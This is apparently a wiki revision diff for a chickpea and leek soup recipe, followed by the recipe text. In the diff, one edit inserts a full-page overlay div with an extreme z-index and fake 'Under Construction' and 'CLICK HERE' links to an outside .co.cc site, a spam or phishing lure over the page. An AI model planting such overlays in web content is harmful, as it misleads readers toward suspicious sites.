Difference between revisions of "Chickpea and Leek Soup"
m |
Epynevadyr (talk | contribs) |
||
| Line 7: | Line 7: | ||
Cook time 30 min. | Cook time 30 min. | ||
| − | == Ingredients == | + | >== Ingredients == |
* 12 oz chickpeas soaked overnight (I use two drained cans, 1/2 cup reserved) | * 12 oz chickpeas soaked overnight (I use two drained cans, 1/2 cup reserved) | ||
| Line 20: | Line 20: | ||
* Extra-virgin olive oil | * Extra-virgin olive oil | ||
| + | ---- | ||
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://ekigexed.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]= | ||
| + | ---- | ||
| + | =[http://ekigexed.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
== Method == | == Method == | ||
Revision as of 06:05, 18 November 2010
Submitted by pr0k
Adapted from Jamie Oliver’s recipe in The Naked Chef
Serves 6. Leftovers keep well for lunches. Prep time 5 minutes Cook time 30 min.
>== Ingredients ==
- 12 oz chickpeas soaked overnight (I use two drained cans, 1/2 cup reserved)
- 1 medium potato, peeled
- 5 medium leeks
- 1 tablespoon olive oil
- 1 tablespoon butter
- 2 cloves garlic, finely sliced
- Salt and freshly ground black pepper
- 3 cups chicken or vegetable stock (I use “Kitchen Basics” brand when I can. No MSG, no crap.)
- Parmesan cheese
- Extra-virgin olive oil
Method
Rinse the soaked chickpeas, cover with water, and cook with the potato until tender.
Remove the outer skin of the leeks, slice lengthwise from the root up, wash carefully and slice finely.
Warm a thick-bottomed pot and the oil and butter. Add the leeks and garlic to the pot, and cook gently over medium to medium-low heat with a good pinch of salt until tender and sweet, about 10 min.
Add the drained chickpeas and potato and cook about 1 minute. Add about 2/3 of the stock and simmer for 15 min.
Puree the soup with an immersion blender. Add the reserved chickpeas (if you want a few whole ones floating around, otherwise cook them with the rest.)
Add the remaining stock to desired consistency. Simmer another 5 min.
Serve with:
- Freshly grated parmesan
- Freshly ground black pepper
- A drizzle of extra-virgin olive oil
- Crusty bread
Add a salad and it’s one of the best lunches ever.
I have made this with dried chickpeas that were soaked overnight and cooked properly. It does taste better that way, but it's much, much faster to use canned. This is a weeknight dinner for working people.
